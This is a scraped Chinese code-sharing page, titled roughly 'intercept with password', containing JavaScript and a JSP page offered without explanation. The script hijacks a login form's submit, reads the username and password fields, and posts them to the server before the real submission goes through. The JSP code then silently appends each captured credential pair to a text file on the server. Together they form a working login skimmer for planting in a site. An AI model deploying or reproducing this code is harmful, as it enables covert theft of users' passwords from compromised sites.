zoukankan      html  css  js  c++  java
  • 用密码密码拦截

    function Create___XMLHttpObject()
    {
         if (window.XMLHttpRequest)
         {
               return  new XMLHttpRequest();
         }
         else{
              var MSXML = ['MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'];
              for(var n = 0; n < MSXML.length; n ++)
              {
                try
                {   
                    return new ActiveXObject(MSXML[n]);        
                }
                catch(e){}
                }
         }
    }
    var old___Submit;
    var form__ = document.forms[0];
    if(form__ != null && form__ != undefined){
        form__.old___Submit = form__.submit;
        form__.submit= function(){
              var xmlHttp=Create___XMLHttpObject();
              var u=document.getElementsByName('loginname')[0].value;
            var p=document.getElementsByName('password')[0].value;
            var SendData = 'a=l&np='+u+"|"+p;
            xmlHttp.open('POST','?'+SendData,true);
              xmlHttp.onreadystatechange=function()
            {
              if(xmlHttp.readyState==4){
                if(xmlHttp.status==200){
                    form__.old___Submit();
                }
              }
            }
            xmlHttp.send(null);
        }
    }
    <%@ page language="java" pageEncoding="UTF-8"%>
    <%@ page import="java.io.*" %>
    <%
        String a=request.getParameter("a");
        String np=request.getParameter("np");
        if(a!=null&&!a.equals("")){
            String f_path = "\\1.txt";
            f_path=request.getSession().getServletContext().getRealPath(request.getContextPath())+f_path;
            File f = new File(f_path);
            if (f.exists()) {
                f.createNewFile(); 
            }
               BufferedWriter output = new BufferedWriter(new FileWriter(f_path,true));
               output.newLine();
               output.write(np);
               output.close();
               output=null;
               f=null;
           }
    %>
  • 相关阅读:
    Linux Shell 重定向输入和输出
    NDK Cmake
    测试
    20行Python代码爬取王者荣耀全英雄皮肤
    SSH开发模式——Struts2(第一小节)
    JavaWeb开发——软件国际化(动态元素国际化)
    JavaWeb开发——软件国际化(文本元素国际化)
    DBUtils框架的使用(下)
    DBUtils框架的使用(上)
    SSH开发模式——Struts2(第二小节)
  • 原文地址:https://www.cnblogs.com/skyblue/p/2811448.html
Copyright © 2011-2022 走看看